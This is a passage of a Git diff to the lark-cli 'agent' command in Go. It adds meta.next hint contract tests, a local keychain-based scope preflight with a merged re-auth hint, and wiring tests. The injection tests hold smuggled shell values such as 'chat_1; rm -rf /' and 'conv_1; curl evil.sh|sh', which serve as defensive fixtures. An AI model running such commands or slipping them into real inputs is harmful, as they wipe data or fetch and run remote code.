|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
|
||||
t.Errorf("agent list should be marked read risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
fl := cmd.Flags().Lookup("format")
|
||||
if fl == nil {
|
||||
t.Fatal("agent list should have a --format flag")
|
||||
}
|
||||
if fl.DefValue != "json" {
|
||||
t.Errorf("--format default should flip to json, got %q", fl.DefValue)
|
||||
}
|
||||
if cmd.Flags().Lookup("jq") == nil {
|
||||
t.Error("agent list should have a --jq flag")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err != nil {
|
||||
t.Errorf("agent list with no args should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example"}); err != nil {
|
||||
t.Errorf("agent list <scheme> should be valid: %v", err)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example", "extra"}); err == nil {
|
||||
t.Error("agent list with more than 1 positional argument should error (MaximumNArgs 1)")
|
||||
}
|
||||
}
|
||||
218
cmd/agent/next_contract_test.go
Normal file
218
cmd/agent/next_contract_test.go
Normal file
@@ -0,0 +1,218 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// allTaskStates is the full 9-state A2A enum (internal/agent/state.go), so the
|
||||
// contract test automatically covers any future nextForTask branch keyed on a
|
||||
// state instead of relying on hand-picked samples.
|
||||
var allTaskStates = []iagent.TaskState{
|
||||
iagent.StateSubmitted,
|
||||
iagent.StateWorking,
|
||||
iagent.StateInputRequired,
|
||||
iagent.StateAuthRequired,
|
||||
iagent.StateCompleted,
|
||||
iagent.StateFailed,
|
||||
iagent.StateCanceled,
|
||||
iagent.StateRejected,
|
||||
iagent.StateUnknown,
|
||||
}
|
||||
|
||||
// TestNextForTaskCommandsParseAgainstRealTree is the meta.next contract test:
|
||||
// every next command emitted by nextForTask — across all 9 task states, with
|
||||
// and without a context id, template hints included (their <...> placeholders
|
||||
// are single space-free tokens, so they parse as ordinary flag values) — must
|
||||
// traverse and flag-parse against the real agent command tree. meta.next is
|
||||
// defined as "AI executes this verbatim", so a next that references a
|
||||
// nonexistent flag (e.g. --wait on task get) is a broken contract, caught here
|
||||
// at build time instead of by a failing acceptance run.
|
||||
func TestNextForTaskCommandsParseAgainstRealTree(t *testing.T) {
|
||||
// GIVEN: the real agent subtree (nil Factory: construction-time only, no
|
||||
// credentials; all meta.next commands live under `lark-cli agent ...`).
|
||||
agentTree := NewCmdAgent(nil)
|
||||
|
||||
for _, state := range allTaskStates {
|
||||
for _, ctxID := range []string{"", "conversation_1"} {
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: ctxID,
|
||||
State: state,
|
||||
IsTerminal: state.IsTerminal(),
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) == 0 {
|
||||
t.Fatalf("state %s (ctx %q): legit task must produce next hints", state, ctxID)
|
||||
}
|
||||
for _, n := range next {
|
||||
if state == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state whose next step is
|
||||
// the auth (re-authorize) flow, so it legitimately points OUT
|
||||
// of the agent subtree and is not traversable against
|
||||
// agentTree; assert its shape and skip the agent traversal.
|
||||
if !strings.HasPrefix(n.Command, "lark-cli auth login") || !strings.Contains(n.Command, "--scope") {
|
||||
t.Fatalf("auth_required next should point to auth login --scope, got %q", n.Command)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if !strings.HasPrefix(n.Command, "lark-cli agent ") {
|
||||
t.Fatalf("next %q must target the agent subtree", n.Command)
|
||||
}
|
||||
// WHEN: the command string is parsed against the real tree.
|
||||
argv := strings.Fields(strings.TrimPrefix(n.Command, "lark-cli agent "))
|
||||
c, flags, err := agentTree.Traverse(argv)
|
||||
// THEN: it traverses to a leaf and its flags all exist.
|
||||
if err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q not traversable: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
if c == agentTree {
|
||||
t.Fatalf("state %s (ctx %q): next %q did not reach a subcommand", state, ctxID, n.Command)
|
||||
}
|
||||
if err := c.ParseFlags(flags); err != nil {
|
||||
t.Fatalf("state %s (ctx %q): next %q flags invalid: %v", state, ctxID, n.Command, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsInjectionIDs pins the security whitelist: a
|
||||
// server-supplied task_id that is not pure [A-Za-z0-9_-] must suppress the
|
||||
// whole next entry (omit rather than risk injection), in every state —
|
||||
// meta.next commands are executed verbatim by AI callers, so shell
|
||||
// metacharacters in an interpolated id are command injection.
|
||||
func TestNextForTaskRejectsInjectionIDs(t *testing.T) {
|
||||
for _, bad := range []string{"chat_1; rm -rf /", "chat `x`", "chat 1", `chat"1"`, "chat$(x)", "chat|x"} {
|
||||
for _, state := range allTaskStates {
|
||||
task := &iagent.AgentTask{TaskID: bad, State: state}
|
||||
if next := nextForTask("example:agent_x", task); len(next) != 0 {
|
||||
t.Fatalf("injection task_id %q (state %s) must suppress next, got %+v", bad, state, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskRejectsUnsafeRef pins the ref whitelist:
|
||||
// the user-echoed ref is interpolated into every next command, so a ref that
|
||||
// is not <charset>:<charset> (exactly one ':', [A-Za-z0-9_-] on both sides)
|
||||
// suppresses the whole hint — a ref with spaces/quotes would make the command
|
||||
// un-copy-pasteable at best and an injection surface at worst.
|
||||
func TestNextForTaskRejectsUnsafeRef(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
for _, bad := range []string{"example:agent x", "example:x;rm -rf /", "example", "a:b:c", "example:$(x)", `example:"x"`, ":x", "example:"} {
|
||||
if next := nextForTask(bad, task); len(next) != 0 {
|
||||
t.Errorf("unsafe ref %q should suppress the whole next, got %+v", bad, next)
|
||||
}
|
||||
}
|
||||
if next := nextForTask("example:agent_x", task); len(next) == 0 {
|
||||
t.Error("valid ref example:agent_x should keep next")
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskDegradesInjectionContextID pins the context_id whitelist with
|
||||
// its degradation semantics: a legit task_id with an injection-shaped
|
||||
// context_id (input_required branch interpolates both) keeps the hint but
|
||||
// replaces the dirty id with the <context_id> placeholder — Template:true, no
|
||||
// untrusted content interpolated.
|
||||
func TestNextForTaskDegradesInjectionContextID(t *testing.T) {
|
||||
dirty := "conv_1; curl evil.sh|sh"
|
||||
task := &iagent.AgentTask{
|
||||
TaskID: "chat_1",
|
||||
ContextID: dirty,
|
||||
State: iagent.StateInputRequired,
|
||||
}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("dirty context_id must degrade, not drop the hint, got %+v", next)
|
||||
}
|
||||
if !next[0].Template {
|
||||
t.Errorf("degraded hint must be template=true, got %+v", next[0])
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "<context_id>") {
|
||||
t.Errorf("degraded hint must use the <context_id> placeholder: %q", next[0].Command)
|
||||
}
|
||||
if strings.Contains(next[0].Command, "conv_1") {
|
||||
t.Errorf("dirty context_id leaked into the command: %q", next[0].Command)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskAuthRequiredPointsToAuth pins F6: auth_required is an
|
||||
// agent-side task state (the end user must (re)authorize in the agent), NOT a
|
||||
// text-continuation like input_required. Its next must point at the auth
|
||||
// re-authorize flow (auth login --scope), never reuse the text-continuation
|
||||
// send hint.
|
||||
func TestNextForTaskAuthRequiredPointsToAuth(t *testing.T) {
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateAuthRequired}
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 {
|
||||
t.Fatalf("auth_required should produce 1 next, got %+v", next)
|
||||
}
|
||||
// Must NOT be the input_required text-continuation hint.
|
||||
if strings.Contains(next[0].Command, "agent send") || strings.Contains(next[0].Command, "--text") {
|
||||
t.Fatalf("auth_required should not reuse the text-continuation hint, got %q", next[0].Command)
|
||||
}
|
||||
// Must point at the auth (re-authorize) flow.
|
||||
if !strings.HasPrefix(next[0].Command, "lark-cli auth login") || !strings.Contains(next[0].Command, "--scope") {
|
||||
t.Fatalf("auth_required should point to auth login --scope, got %q", next[0].Command)
|
||||
}
|
||||
// The concrete scopes come from the card, so the command carries a
|
||||
// placeholder and must be marked template.
|
||||
if !next[0].Template {
|
||||
t.Errorf("contains a placeholder, should be Template=true, got %+v", next[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskWatchNotWait pins the flag-name fix and the bounded-watch
|
||||
// default: task get has --watch, not --wait, and the poll hint must suggest a
|
||||
// BOUNDED watch (`--watch --timeout <default>`) so an AI caller neither blocks
|
||||
// forever on a long task nor self-hammers with unbounded polls.
|
||||
func TestNextForTaskWatchNotWait(t *testing.T) {
|
||||
next := nextForTask("example:agent_x", &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking})
|
||||
if len(next) == 0 {
|
||||
t.Fatal("working task must produce a poll next")
|
||||
}
|
||||
if !strings.Contains(next[0].Command, "--watch") || strings.Contains(next[0].Command, "--wait") {
|
||||
t.Fatalf("poll next must use --watch: %+v", next)
|
||||
}
|
||||
wantTimeout := "--timeout " + defaultWatchTimeout.String()
|
||||
if !strings.Contains(next[0].Command, wantTimeout) {
|
||||
t.Fatalf("poll next must be bounded with %q, got %+v", wantTimeout, next)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNextForTaskTemplateFlag pins the template marker semantics: the
|
||||
// input_required continue hint carries a <你的答复> placeholder, so it must be
|
||||
// marked template=true (not directly executable); poll and terminal-detail
|
||||
// hints are verbatim-executable and must not carry the marker.
|
||||
func TestNextForTaskTemplateFlag(t *testing.T) {
|
||||
// input_required with a known context: placeholder in --text → template.
|
||||
cont := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", ContextID: "conv_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(cont) != 1 || !cont[0].Template {
|
||||
t.Fatalf("input_required next must be template=true, got %+v", cont)
|
||||
}
|
||||
// input_required without a context id: <context_id> placeholder → template.
|
||||
contNoCtx := nextForTask("example:agent_x", &iagent.AgentTask{
|
||||
TaskID: "chat_1", State: iagent.StateInputRequired,
|
||||
})
|
||||
if len(contNoCtx) != 1 || !contNoCtx[0].Template {
|
||||
t.Fatalf("input_required (no ctx) next must be template=true, got %+v", contNoCtx)
|
||||
}
|
||||
// Poll and terminal-detail hints are directly executable → no template flag.
|
||||
for _, task := range []*iagent.AgentTask{
|
||||
{TaskID: "chat_1", State: iagent.StateWorking},
|
||||
{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true},
|
||||
} {
|
||||
next := nextForTask("example:agent_x", task)
|
||||
if len(next) != 1 || next[0].Template {
|
||||
t.Fatalf("state %s next must be executable (template unset), got %+v", task.State, next)
|
||||
}
|
||||
}
|
||||
}
|
||||
133
cmd/agent/preflight.go
Normal file
133
cmd/agent/preflight.go
Normal file
@@ -0,0 +1,133 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
larkauth "github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// This file implements the local scope preflight: after
|
||||
// resolveProvider succeeds and before the real API call, the stored user
|
||||
// token's scope list is checked against the provider's RequiredScopes
|
||||
// declaration. The check is all-or-nothing — any real API verb requires the
|
||||
// provider's entire scope set. It is entirely local — the scope list is read
|
||||
// from the credential cache (keychain), never from the network — so a missing
|
||||
// scope surfaces as an actionable validation error (exit 2) instead of a
|
||||
// round-trip API 99991679. `--dry-run` never reaches it (dry-run returns before
|
||||
// resolveProvider), preserving its always-available contract.
|
||||
|
||||
// storedUserScopes is the token-scope read seam: it returns the granted scope
|
||||
// list of the stored user token from the LOCAL credential cache (keychain via
|
||||
// GetStoredToken — same read path as `auth check`), issuing no network
|
||||
// request. nil/empty means "no usable local scope list" and the caller skips
|
||||
// preflight. Tests swap it so no unit test touches the real keychain.
|
||||
var storedUserScopes = func(f *cmdutil.Factory) []string {
|
||||
if f == nil || f.Config == nil {
|
||||
return nil
|
||||
}
|
||||
config, err := f.Config()
|
||||
if err != nil || config == nil || config.UserOpenId == "" {
|
||||
return nil
|
||||
}
|
||||
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
|
||||
if stored == nil {
|
||||
return nil
|
||||
}
|
||||
return strings.Fields(stored.Scope)
|
||||
}
|
||||
|
||||
// preflightInput is the pure input of preflightScopes, so the check itself is
|
||||
// unit-testable without a Factory, keychain, or provider client.
|
||||
type preflightInput struct {
|
||||
Identity core.Identity
|
||||
TokenScopes []string
|
||||
Info iagent.ProviderInfo
|
||||
}
|
||||
|
||||
// preflightScopes runs the local scope check. It returns nil when the check
|
||||
// does not apply — bot identity (a tenant token has no scope-list concept; the
|
||||
// API error + errclass hint own that path) or an unreadable/empty local scope
|
||||
// list (the downstream not_configured / need-authorization logic owns that).
|
||||
// The check is all-or-nothing: when any scope in the provider's RequiredScopes
|
||||
// set is not granted it returns the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) carrying every missing
|
||||
// scope, with a re-auth hint whose --scope
|
||||
// merges the stored grants with the provider's FULL RequiredScopes set — auth
|
||||
// login --scope REPLACES the grant, so the hint must be copy-paste-safe
|
||||
// without dropping existing permissions.
|
||||
func preflightScopes(in preflightInput) error {
|
||||
if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
granted := make(map[string]bool, len(in.TokenScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
granted[s] = true
|
||||
}
|
||||
|
||||
var missing []string
|
||||
for _, scope := range in.Info.RequiredScopes {
|
||||
if !granted[scope] {
|
||||
missing = append(missing, scope)
|
||||
}
|
||||
}
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
sort.Strings(missing)
|
||||
|
||||
// Merged re-auth scope set: existing grants ∪ the provider's FULL
|
||||
// RequiredScopes, sorted for stability.
|
||||
mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
|
||||
for _, s := range in.TokenScopes {
|
||||
mergedSet[s] = true
|
||||
}
|
||||
for _, s := range in.Info.RequiredScopes {
|
||||
mergedSet[s] = true
|
||||
}
|
||||
merged := make([]string, 0, len(mergedSet))
|
||||
for s := range mergedSet {
|
||||
merged = append(merged, s)
|
||||
}
|
||||
sort.Strings(merged)
|
||||
|
||||
return errs.NewPermissionError(errs.SubtypeMissingScope,
|
||||
"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
|
||||
WithIdentity(string(core.AsUser)).
|
||||
WithMissingScopes(missing...).
|
||||
WithHint("一次性补齐该 agent 全部所需 scope(已合并现有授权,照抄不丢权限): lark-cli auth login --scope \"%s\"",
|
||||
strings.Join(merged, " "))
|
||||
}
|
||||
|
||||
// preflightScopesForRef is the command-layer wiring: it resolves the provider
|
||||
// registration for ref's scheme, reads the stored user scopes through the
|
||||
// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
|
||||
// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
|
||||
// an accelerator, never a new failure mode; the paths that validate ref/scheme
|
||||
// for real have already run inside resolveProvider.
|
||||
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
|
||||
if f == nil || id != core.AsUser {
|
||||
return nil
|
||||
}
|
||||
r, err := iagent.ParseRef(ref)
|
||||
if err != nil {
|
||||
return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
|
||||
}
|
||||
info, ok := iagent.Info(r.Scheme)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
return preflightScopes(preflightInput{
|
||||
Identity: id,
|
||||
TokenScopes: storedUserScopes(f),
|
||||
Info: info,
|
||||
})
|
||||
}
|
||||
365
cmd/agent/preflight_test.go
Normal file
365
cmd/agent/preflight_test.go
Normal file
@@ -0,0 +1,365 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
|
||||
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
|
||||
// one of fakescopedAllScopes for any real API verb.
|
||||
func scopedInfo(t *testing.T) iagent.ProviderInfo {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
info, ok := iagent.Info("fakescoped")
|
||||
if !ok {
|
||||
t.Fatal("fakescoped provider should be registered")
|
||||
}
|
||||
return info
|
||||
}
|
||||
|
||||
// requirePreflightError asserts err is the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
|
||||
// value for field assertions.
|
||||
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("want missing_scope error, got nil")
|
||||
}
|
||||
var pe *errs.PermissionError
|
||||
if !errors.As(err, &pe) {
|
||||
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
if pe.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("exit code should be 3, got %d", code)
|
||||
}
|
||||
return pe
|
||||
}
|
||||
|
||||
// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
|
||||
// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
|
||||
// with EVERY missing scope named (sorted) in both the message and
|
||||
// missing_scopes, and a re-auth hint that merges the stored token scopes with
|
||||
// the provider's FULL RequiredScopes set (sorted, so re-running the login
|
||||
// command never drops an existing grant).
|
||||
func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
|
||||
t.Errorf("message should list all missing scopes, got %q", ve.Message)
|
||||
}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
// Merged hint: existing token scopes ∪ FULL provider RequiredScopes, sorted.
|
||||
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
|
||||
if !strings.Contains(ve.Hint, wantScopeArg) {
|
||||
t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
|
||||
// preflight is skipped entirely regardless of TokenScopes.
|
||||
func TestPreflightBotSkipped(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: nil,
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("bot identity should skip preflight, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
|
||||
// without a scope list) yields nil so the downstream not_configured /
|
||||
// need-authorization path owns the error.
|
||||
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: nil,
|
||||
Info: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("no token scope list should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
|
||||
// fakescoped scopes passes the all-or-nothing check.
|
||||
func TestPreflightAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("should pass when all scopes present, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
|
||||
// is missing even a single scope fails, and the reported missing set is exactly
|
||||
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
|
||||
// gone).
|
||||
func TestPreflightMissingAnyScopeFails(t *testing.T) {
|
||||
// Missing exactly one scope (attachment) → that one scope is reported.
|
||||
ve := requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{
|
||||
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
|
||||
},
|
||||
Info: scopedInfo(t),
|
||||
}))
|
||||
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
|
||||
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
|
||||
}
|
||||
|
||||
// Only the write scope → the other three are all reported.
|
||||
ve = requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
|
||||
}))
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Command wiring: each verb runs preflight after resolveProvider and before
|
||||
// any real API call. The stored-scope read goes through the storedUserScopes
|
||||
// seam so no test touches the real keychain; zero httpmock stubs are
|
||||
// registered, so any HTTP request would fail the test with a transport error
|
||||
// instead of the asserted missing_scope.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
|
||||
func swapStoredScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := storedUserScopes
|
||||
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { storedUserScopes = old })
|
||||
}
|
||||
|
||||
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
|
||||
// explicitly set to user so ResolveAs honors it verbatim.
|
||||
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
|
||||
t.Helper()
|
||||
parent := &cobra.Command{Use: "lark-cli"}
|
||||
for _, name := range names {
|
||||
child := &cobra.Command{Use: name}
|
||||
parent.AddCommand(child)
|
||||
parent = child
|
||||
}
|
||||
parent.Flags().String("as", "", "identity")
|
||||
if err := parent.Flags().Set("as", "user"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
parent.SetContext(context.Background())
|
||||
return parent
|
||||
}
|
||||
|
||||
// userFactory builds a test Factory + registry for a user-identity run.
|
||||
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f, reg
|
||||
}
|
||||
|
||||
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
|
||||
// holds none of the provider's scopes fails with missing_scope
|
||||
// (reporting the full set) and no request.
|
||||
func TestSendPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
|
||||
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
|
||||
// still fails the all-or-nothing check, reporting the three scopes it lacks.
|
||||
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
|
||||
// scope-free — it succeeds even when the token has none of the provider scopes.
|
||||
func TestSendDryRunSkipsPreflight(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("--dry-run should not run scope preflight: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
|
||||
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
|
||||
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
|
||||
// (resolveDownload path): it too runs the all-or-nothing preflight before the
|
||||
// API call.
|
||||
func TestTaskGetArtifactPreflightFires(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
ArtifactID: "art_1", Output: "out.bin",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
|
||||
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskListRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user",
|
||||
})
|
||||
requirePreflightError(t, err)
|
||||
}
|
||||
|
||||
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
|
||||
// wiring: all three run the all-or-nothing preflight.
|
||||
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
|
||||
runs := []struct {
|
||||
name string
|
||||
run func(f *cmdutil.Factory) error
|
||||
}{
|
||||
{"list", func(f *cmdutil.Factory) error {
|
||||
return agentContextListRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
|
||||
})
|
||||
}},
|
||||
